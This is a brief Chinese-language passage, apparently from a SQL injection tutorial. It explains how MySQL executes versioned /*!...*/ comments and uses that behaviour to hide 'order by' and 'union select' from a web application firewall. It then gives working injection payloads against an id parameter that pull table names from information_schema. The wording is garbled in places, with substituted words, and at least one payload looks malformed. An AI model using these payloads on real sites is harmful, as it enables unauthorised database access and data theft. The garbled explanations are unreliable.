/*! select * from test */;
>+------+
| id |
+------+
| 1 |
| 2 |
| 3 |
+------+
再看如下语句
/*!50001 select * from test */;
这里的50001表示假如 数据库是5.00.01以上版本,该语句才会被推行 因此固然 你的mysql dump出来的成立 view的语句在解释 里,实际上它是会被执行的
假如 是以下内容,就不会推行 了,那是真正的解释 了 /* select * from test */; 内联注释
order/*!80000aaa*/by/*!80000aaa*/5
payload解释:因为加了内联注释,然后order/!80000aaa/by/!80000aaa/5 这句话数据库看到这里order by 被隔开了就没有拦截,然后进去数据库,数据库看到这里版本没有80000那么高,然后直接无视内联,然后就执行order by
有时候/!80000aaa/只有一个绕不过去,可以尝试多写几个绕过去 /!80000aaa//!80000aaa/这样
?id=1 union /*!/*!4select*/+1,2,3,4,5
用反引号逃逸关键符号
?id=1 union /*!90000aaa*/select 1,2,table_name,4,5/*!9000aaa*//*!90000aaa*/from+`information_schema`.tables where table_schema = 0x6D7973716C payload展示